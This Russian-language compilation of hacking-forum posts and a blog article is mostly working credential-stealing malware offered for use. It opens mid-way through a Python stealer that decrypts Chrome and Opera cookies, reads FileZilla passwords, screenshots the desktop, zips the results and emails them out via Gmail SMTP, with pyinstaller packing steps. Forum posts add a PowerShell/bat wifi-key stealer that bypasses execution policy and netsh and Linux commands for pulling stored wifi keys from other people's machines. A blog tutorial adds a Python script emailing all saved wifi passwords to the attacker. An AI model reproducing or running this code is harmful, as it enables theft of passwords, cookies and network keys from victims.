os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close() ################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close() ################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg') ################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close() ################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' ################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'ваша новая почта@gmail.com' msg['To'] = 'почта куда отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext) ################################################################################ # СОЗДАНИЕ ВЛОЖЕНИЯ # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part) ################################################################################ # ОТПРАВКА вам # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login('новая ваша почта гмаил', 'пароль от новой почты гмаил') s.sendmail('новая ваша почта гмаил', 'почта куда отправится', msg.as_string()) s.quit() i = input()

Вот что в архиве.

Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.

Теперь pyinstaller —onefile название вашего файла.py, ентер.

Powershell или же стиллер для wifi

Тема пойдет на powershell.
все мы знаем замечательную команду в CMD
1) » netsh wlan show profiles » — чтоб посмотреть на какие сети компухтер или ноут был подключен.
2)» netsh wlan show profiles «ESSID» key=clear» — чтоб посмотреть пароль от сети.

Нам не удобна смотреть каждый процесс отдельно. Вот поэтому ускорим этот с помощью POWERSHELL
» (netsh wlan show profiles) | Select-String «\.+)$» | % | % <(netsh wlan show profile name="$name" key=clear)>| Select-String «Содержимое ключа\W+\.+)$» | % | %> | Format-Table -AutoSize » — ENTER.

Но пока откроем POWERSHELL и напишем этот скрипт нас спалят(
и вот поэтому мы сейчас сделаем БАТ файл.
1) Отрываем Текстовый документ пишем » (netsh wlan show profiles) | Select-String «\.+)$» | % | % <(netsh wlan show profile name="$name" key=clear)>| Select-String «Содержимое ключа\W+\.+)$» | % | %> | Format-Table -AutoSize » (Без кавычек). И сохраняем » powerkey.ps1 »
2)Отрываем Текстовый документ пишем » powershell.exe -ExecutionPolicy Bypass -File powerkey.ps1 » Сохраняем pow.bat
3) и последний файл опять отрываем Текстовый документ пишем

@echo off
call pow.bat >wifi/1)wifi.txt 2>&1
exit

И сохраняем start.bat .

4) кидаем все 3 файла в одну папку и в этой же папке создаем папку с название » wifi «.
вот и все)
(САМ СКРИПТ НЕ РАБОТАЕТ НА ВСЕХ КОМПЬЮТЕРАХ, В моем случай 4/5) .

Последнее редактирование: 31.12.2017

☠xrahitel☠

Grey Team
09.12.2016 239 305
по сути на коротке нормально..

Remir

Grey Team
05.11.2017 241 347

    Имею на флешке (я так понял, что вся суть ТС в том, чтобы увести PW WiFi) папку WiFi (назовем ее так), а в ней пятОк (можно десяток — кому как удобно и нужно) файлов 1.txt, 2.txt, 3.txt и т.д. со следующим содержанием:
netsh wlan show profiles netsh wlan show profiles "ESSID" key=clear

На случай Линукса можно добавить строку

sudo cat /etc/NetworkManager/system-connections/ИМЯ_СЕТИ | grep psk=

, а если имя неизвестно, то

sudo grep psk= /etc/NetworkManager/system-connections/*

NIR.JPG

. Для удобства их можно вообще держать вместе и выбирать по потребностям, я разнес только для визуального разделения. Итак, выдалась возможность «пошарить». Вставляем флешку, открываем под админом комстроку и текстовик 1. А дальше все быстро и просто: копируем Win-довые команды разом и перепрыгиваем на командную строку, не закрывая текстовик. Вставляем и у нас уже выполнилась первая строка, быстро вписываем ИМЯ_СЕТИ и жмем ENTER. В W10 остальное быстрее всего: CTRL+A, CTRL+C — перескок на текстовик CTRL+V, ALT+F4, ENTER. В младших ОС (за 8-рку не ручаюсь, я ее «органически не перевариваю» и даже не изучал) все эти операции придется выполнить мышкой. Для Линукса я даже расписывать не буду, тут операции с файлами знает 99%. А оставшемуся 1% я посоветую начать изучение Linux именно с этого пункта, а не с увода паролей.

  • Зачем изобретать велосипед, когда есть уже проверенные и отработанные инструменты? Вот мой списочек, которого, «за глаза» хватает для подобных целей. И всего-то около 35 Мб. Это NIR-soft.
  • Он находится на этой же флешке. Запускаем в зависимости от разрядности ОС и получаем результат

    Nir_WirelessKey.JPG

    Через правую кнопку мыши на выбранной строке можно сделать экспорт в ASCII для удобочитаемости. Всего-то три щелчка мыши и результат в кармане.

    P.S.
    Мой пост нисколько не несет в себе отрицания способа ТС. Просто я предпочту изложенный мной вариант.

    Создаём стиллер WiFi паролей

    True Hack — не забудь подписаться на канал, чтоб не пропустить новые статьи!

    И так, приступим!

    Мы не призываем вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, чтобы уберечь читателя от противоправных действий.

    Вы когда-нибудь задумывались, есть ли у вас инструмент, который дает вам всю информацию обо всех беспроводных сетях (включая их пароли), когда-либо подключенных на компьютере windows к вашей электронной почте?

    Ну, если это так, то вот в чем фокус. В этом трюке нет ракетостроения. Я бы сказал вам способ, чтобы вы могли получить всю информацию о каждой беспроводной сети, когда-либо подключенной к машине windows, к вашей учетной записи hotmail/outlook.

    Обратите внимание, что этот трюк будет работать только в том случае, если целью является машина windows и у вас есть учетная запись outlook/hotmail. Кроме того, вы должны иметь базовые знания Python.

    Итак, давайте начнем.

    Сначала импортируйте два модуля python, то есть подпроцесс и ОС, с помощью команды:

    import subprocess, os

    Подпроцесс-это модуль, который работает как командная строка, и команда, которую вы даете ему в виде строки, может быть выполнена в командной строке целевого компьютера. После этого вам понадобится код python, который установит и импортирует модуль python, который по умолчанию недоступен в python, чтобы сделать это, напишите следующий код после приведенной выше строки:

    command="pip install secure-smtplib"result=subprocess.check_output(command,shell=True) import smtplib

    Это модуль, который поддерживает отправку электронных писем через python. Далее мы создадим функцию, которая будет отправлять нам полученную информацию по электронной почте с помощью модуля smtplib с помощью кода:

    def send_mail(email,password,message): server = smtplib.SMTP(«smtp-mail.outlook.com»,587) server.starttls() server.login(email,password) server.sendmail(email,email,message) server.quit()

    Этот модуль запускает сервер python для создания электронной почты и отправки ее человеку. Далее мы будем получать имена всех беспроводных сетей, хранящихся в машине, используя модуль подпроцесса. Массив a будет содержать имена сетей.

    command=»netsh wlan show profile»networks=subprocess.check_output(command,shell=True)networks=networks.split()a,b=[],[]for i in range(len(networks)): networks[i]=str(networks[i]) networks[i]=networks[i][2:-1] if networks[i]==’All’: a.append(i) elif networks[i]==’:’: b.append(i)

    Теперь, если вы распечатаете a в приведенном выше коде, вы увидите, что есть и некоторые другие слова, которые нам не понадобятся, поэтому мы будем извлекать полезную информацию из массива a в другой массив d с помощью приведенного ниже кода.

    Теперь, поскольку мы сохранили имена всех беспроводных сетей, мы будем использовать модуль подпроцесса для извлечения информации о каждой беспроводной сети, включая их пароль, и отправки ее на ваш аккаунт hotmail.

    result=b'' for i in d: if "'" in i: continue command='netsh wlan show profile "'+str(i)+'" key=clear' passwords=subprocess.check_output(command,shell=True) result=result+passwords send_mail("your hotmail emailid","your password",result)

    Если вы заметили, я использовал результат=b’ ‘. Это потому, что если вам нужно отправить сообщение по электронной почте с помощью python, его тип должен быть байт. Python не может отправить сообщение, закодированное в виде строки, на вашу электронную почту.

    Замените аргументы отправки почты своим идентификатором электронной почты и паролем. Вот и все, ваш код готов. Теперь вы можете использовать его для целеуказания любой машине windows и извлечения всей информации беспроводных сетей, хранящейся на цели.

    Вы можете получить полный код на моем аккаунте github. Перейдите по ссылке:

    ● Buratinopol — хакинг, кибербезопасность, приватность, анонимность

    ● SOFTWARE — хранилище приватных софтов и прочей годноты. Подпишись!

    ● CODING — программирование доступным языком.

    ● Termux — one — гайды и статьи по Termux.

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *